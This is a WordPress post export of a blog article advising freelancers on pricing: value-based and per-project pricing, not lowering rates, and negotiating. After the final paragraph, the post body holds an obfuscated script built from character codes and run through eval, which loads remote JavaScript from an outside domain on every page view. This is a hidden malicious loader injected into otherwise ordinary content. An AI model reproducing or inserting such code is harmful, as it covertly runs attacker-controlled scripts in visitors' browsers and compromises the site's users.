{"id":6296,"date":"2023-06-09T10:56:54","date_gmt":"2023-06-09T10:56:54","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/win-freelance-work-with-better-pricing\/"},"modified":"2023-06-09T10:56:54","modified_gmt":"2023-06-09T10:56:54","slug":"win-freelance-work-with-better-pricing","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/win-freelance-work-with-better-pricing\/","title":{"rendered":"Win Freelance Work With Better Pricing"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/win-freelance-work-with-better-pricing\/#Good_Pricing_Emphasizes_Value\" title=\"Good Pricing Emphasizes Value\">Good Pricing Emphasizes Value<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/win-freelance-work-with-better-pricing\/#Stop_Charging_Hourly_Rates\" title=\"Stop Charging Hourly Rates\">Stop Charging Hourly Rates<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/win-freelance-work-with-better-pricing\/#Lowering_Your_Prices_Is_Not_A_Long-Term_Strategy\" title=\"Lowering Your Prices Is Not A Long-Term Strategy\">Lowering Your Prices Is Not A Long-Term Strategy<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/win-freelance-work-with-better-pricing\/#You_Get_What_You_Negotiate\" title=\"You Get What You Negotiate\">You Get What You Negotiate<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/benrmatthews.local\/win-freelance-work-with-better-pricing\/#How_to_win_freelance_work_Always_Be_Climbing\" title=\"How to win freelance work? Always Be Climbing\">How to win freelance work? Always Be Climbing<\/a><\/li><\/ul><\/nav><\/div>\n<p><img class=&quot;aligncenter wp-image-25176 size-full&quot; src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2019\/08\/norsyxmhgpi.jpg&quot; alt=&quot;Win Freelance Work With Better Pricing&quot; width=&quot;1600&quot; height=&quot;1067&quot; \/><\/p>\n<p>Like many freelancers, you\u2019re probably insecure about your pricing.<\/p>\n<p>How do you accurately price non-commodity work?<\/p>\n<p>How do you compare one professional\u2019s work to another?<\/p>\n<p>How do you determine what\u2019s fair to charge when you\u2019re dealing with abstract concepts like the effectiveness of writing, the cleanliness of code, or the beauty of a design?<\/p>\n<p>Truthfully, those are tough questions.<\/p>\n<p>Pricing your freelance work is an endless game of trial and error \u2026 it\u2019s not something that\u2019s decided once.<\/p>\n<p><b>Good pricing is refined over time.<\/b><\/p>\n<p>Price isn\u2019t everything, but there\u2019s no doubt that it plays a big part in a client\u2019s decision to hire you.<\/p>\n<p>If you want to attract more work, you have to take pricing seriously.<\/p>\n<p>Unsure if you should raise your prices?<\/p>\n<p>Use this guide to find out.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Good_Pricing_Emphasizes_Value\"><\/span><strong>Good Pricing Emphasizes Value<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>There\u2019s a misconception that clients are solely concerned about price.<\/p>\n<p>In fact, there\u2019s an overemphasis on pricing in a lot of industries.<\/p>\n<p>People care about\u00a0<em>margins<\/em>, not the final price.<\/p>\n<p><b>They care about how much value they\u2019ll get out of the project.<\/b><\/p>\n<p>In most cases, they\u2019ll be happy to pay more if you can demonstrate that they\u2019ll receive additional value.<\/p>\n<p>Let\u2019s use an example:<\/p>\n<p>A client asks you to make a simple five-page website.<\/p>\n<p>Now, you could build a lightweight HTML site with his five pages for $1,000.<\/p>\n<p>But instead, you offer to build the website on WordPress for $2,000.<\/p>\n<p>This gives the client the ability to create their own pages in the future or manage a blog without the help of a web developer.<\/p>\n<p>In this example,\u00a0<b>you\u2019ve given the client exceptional value.<\/b><\/p>\n<p>In the long run, they\u2019ll save money by not hiring a web developer over and over again.<\/p>\n<p>That type of value is worth paying for, even though the total cost is higher.<\/p>\n<p>Of course, if you focus on value, you have to communicate it.<\/p>\n<p>Don\u2019t expect your clients to see the value in your work on their own.<\/p>\n<p>Explain it to them honestly.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Stop_Charging_Hourly_Rates\"><\/span><strong>Stop Charging Hourly Rates<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A lot of new freelancers start by charging hourly rates.<\/p>\n<p>Once they learn about the project from a new client, they estimate the number of hours it will take, multiply by their rate, add a few hours for good measure (if they\u2019re smart), and then deliver the quote.<\/p>\n<p>The client agrees and off they go.<\/p>\n<p>It\u2019s not a bad way to price:<\/p>\n<p>If the work takes longer than you expect or the client increases the scope, you get to expand the fee.<\/p>\n<p>As long as your rate accounts for all the non-project time you spend working (invoicing, pitching, creating proposals, etc.), you can make a living like this.<\/p>\n<p><b>But you won\u2019t ever be\u00a0<\/b><b><i>really<\/i><\/b><b>\u00a0successful.<\/b><\/p>\n<p>Here\u2019s the thing:<\/p>\n<p>Your clients don\u2019t care how long you work on their project.<\/p>\n<p><b>They only care about the value they get out of the deal<\/b><strong>.<\/strong><\/p>\n<p>What does the client care if a project took 20 minutes or 20 hours?<\/p>\n<p>If you charge by the hour but manage to deliver tremendous value quickly, you\u2019ll actually short yourself.<\/p>\n<p>Instead, it\u2019s smarter to price by the project.<\/p>\n<p>Here\u2019s why:<\/p>\n<p>Clients like project prices better than hourly rates because it guarantees their cost.<\/p>\n<p>They know\u00a0<em>for sure<\/em>\u00a0that you\u2019ll charge $500, which helps them budget.<\/p>\n<p>There\u2019s no fear that \u201cunexpected problems\u201d will inflate the bill.<\/p>\n<p>There is a downside, but it\u2019s manageable:<\/p>\n<p>If the project does take longer (or cost more) than you expect, you\u2019re either stuck eating the cost, or you have to awkwardly ask for more money.<\/p>\n<p>Either option will make someone feel ripped off.<\/p>\n<p>So, it\u2019s important that you make your best effort to quote accurately.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Lowering_Your_Prices_Is_Not_A_Long-Term_Strategy\"><\/span><strong>Lowering Your Prices Is Not A Long-Term Strategy<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Sometimes it\u2019s tempting to lower your prices.<\/p>\n<p>Your pitches are being ignored, no one is responding to your ads, and your entire network is saying:<\/p>\n<p><em>\u201cSorry, nothing right now.\u201d<\/em><\/p>\n<p>Or, maybe you\u2019re just starting out.<\/p>\n<p>You know what your skills are worth, but you need to build a reputation.<\/p>\n<p>You might think:<\/p>\n<p><em>\u201cI\u2019ll work for cheap for a while and raise my prices later.\u201d<\/em><\/p>\n<p>Or, maybe you\u2019re in a slow spot.<\/p>\n<p>You\u2019ve got rent to pay, but nothing in the queue, so you\u2019re willing to work for peanuts so that you don\u2019t need to have an awkward conversation with your landlord.<\/p>\n<p>Lowering your prices can bring more clients to do your door, but not the ones you want to work with.<\/p>\n<p>These are the types of clients who \u2026<\/p>\n<ul>\n<li>\u2026 are in financial trouble and struggling<\/li>\n<li>\u2026 have outrageous demands of your time<\/li>\n<li>\u2026 will drop you in a moment to save $10<\/li>\n<li>\u2026 have burned relationships with other freelancers<\/li>\n<li>\u2026 don\u2019t respect your skills and abilities<\/li>\n<li>\u2026 don\u2019t plan to pay at all<\/li>\n<\/ul>\n<p>There\u2019s no long-term relationship with clients like that.<\/p>\n<p>You might be attracting more work, but it\u2019s not the right kind of work.<\/p>\n<p>You aren\u2019t creating anything valuable or moving your career upwards.<\/p>\n<p>Look:<\/p>\n<p>Sometimes you need to make some quick money.<\/p>\n<p>Every freelancer understands what that\u2019s like.<\/p>\n<p>So at some point, you\u2019ll drop your price to secure a job.<\/p>\n<p>But don\u2019t let that become a long-term strategy.<\/p>\n<p>If you don\u2019t value your time, no one else will.<\/p>\n<p>What Your Prices Say About You<\/p>\n<p>Setting your prices too low can actually be damaging.<\/p>\n<p>Clients have some idea of what their requests are worth:<\/p>\n<ul>\n<li>They know that the website they need should cost around $2,000.<\/li>\n<li>They know their design branding project should run $10,000.<\/li>\n<li>They know that the articles they want to buy should cost around $200 each.<\/li>\n<\/ul>\n<p>When they come across a freelancer who requests less than they expect, the first thing they wonder is:<\/p>\n<p><b><i>\u201cWhy is that person so cheap?\u201d<\/i><\/b><\/p>\n<p>Inevitably, they assume that the freelancer doesn\u2019t have much to offer.<\/p>\n<p>Perhaps the freelancer\u2019s skills are poor or they don\u2019t intend to devote much time to the project.<\/p>\n<p>Conventional wisdom says lower priced things are less valuable than higher priced things.<\/p>\n<p>This isn\u2019t always true \u2026 but it\u2019s true in a lot of places, so clients expect it to be true with freelance work.<\/p>\n<p>Plus:<\/p>\n<p>Working for low wages probably isn\u2019t why you decided to become a freelancer.<\/p>\n<p>What\u2019s the point of running your own business if you\u2019re taking home the same pay as the guy who works for someone else and doesn\u2019t carry all of that extra stress?<\/p>\n<p>That isn\u2019t to say, however, that you should inflate your prices arbitrarily.<\/p>\n<p>Abnormally high pricing makes you look arrogant.<\/p>\n<p>Clients will expect that you\u2019re hard to work with, can\u2019t take direction, and are unwilling to accommodate their process or workflow.<\/p>\n<p>It also makes you look inexperienced because you don\u2019t understand the market\u2019s rate for your own work.<\/p>\n<p>So, you can capture more clients by not being the most expensive or the least expensive option.<\/p>\n<p>Neither of those positions are attractive.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"You_Get_What_You_Negotiate\"><\/span><strong>You Get What You Negotiate<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>There\u2019s an axiom that every freelancer should have on their wall:<\/p>\n<p><b>\u201cYou don\u2019t get what you deserve. You get what you negotiate.\u201d<\/b><\/p>\n<p>Freelancers love doing and creating.<\/p>\n<p>You like completing new projects and honing your craft.<\/p>\n<p>\u201cThis is why most new freelancers are terrible negotiators,\u201d\u00a0says Lindsay Van Thoen at Freelancer\u2019s Union, \u201cYou want to get the money part done as quickly as possible to get to the doing part.\u201d<\/p>\n<p><b>The goal of a negotiation is to find a common ground between you and a client.<\/b><\/p>\n<p>No party is supposed to be the winner, but your goal is to get as much as you can for your labor.<\/p>\n<p>If a client agrees to pay $800 for a job you typically charge $500 for, the arrangement is still fair.<\/p>\n<p>I\u2019m suggesting that you try to squeeze every penny out of your clients \u2026<\/p>\n<p>I\u2019m saying you should focus less on the\u00a0<em>dollar amount<\/em>\u00a0and more on the fairness of the deal.<\/p>\n<p>To determine fairness, you have to consider value.<\/p>\n<p>What does the client get out of the arrangement?<\/p>\n<p>How will their life and business be improved?<\/p>\n<p>If your work creates $50,000 in value for your client, you aren\u2019t being fair to yourself by charging $300.<\/p>\n<p>On the other hand, if the client only receives $500 worth of value, charging $10,000 isn\u2019t fair to them.<\/p>\n<p>Freelancing coach Jake Jorgovan\u00a0makes a great case for pricing by value:<\/p>\n<p><em>\u201cThe great thing about value-based pricing is that it doesn\u2019t take time into account. If you can make a change to someone\u2019s business in an hour and it provides significant value to them, then you can be paid a large amount for it.\u201d<\/em><\/p>\n<p>Over time, your goal should be to raise your prices by raising the value of what you provide.<\/p>\n<p>If you can deliver twice the value this year, then you charge twice as much because that\u2019s fair.<\/p>\n<p>So how do fair prices keep work coming in the door?<\/p>\n<p>Your clients will be\u00a0<em>much happier<\/em>\u00a0paying fair prices for dependable work than constantly shopping for the cheapest deal.<\/p>\n<p>Instead of soliciting quotes from other providers, they\u2019ll come right to you because \u201cBob\u2019s work is always worth the money.\u201d<\/p>\n<p>(That\u2019s something they tell their friends, too.)<\/p>\n<p>By focusing on fairness in pricing, you\u2019ll build long-term relationships that keep your schedule full.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_to_win_freelance_work_Always_Be_Climbing\"><\/span><strong>How to win freelance work? Always Be Climbing<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>The last piece of advice I\u2019ll give is this:<\/p>\n<p>You should always be climbing upward.<\/p>\n<p>Every year, your prices should become more expensive because the value you provide should be greater.<\/p>\n<p>Don\u2019t charge more \u201cjust because.\u201d<\/p>\n<p>Charge more because you\u2019re worth more.<\/p>\n<p>If your clients are growing, they\u2019ll understand when you grow too.<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Like many freelancers, you\u2019re probably insecure about your pricing. How do you accurately price non-commodity work? How do you compare one professional\u2019s work to another? How do you determine what\u2019s fair to charge when you\u2019re dealing with abstract concepts like the effectiveness of writing, the cleanliness of code, or the beauty of a design? Truthfully, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[922],"tags":[],"class_list":["post-6296","post","type-post","status-publish","format-standard","hentry","category-freelance"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6296"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=6296"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6296\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=6296"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=6296"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=6296"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}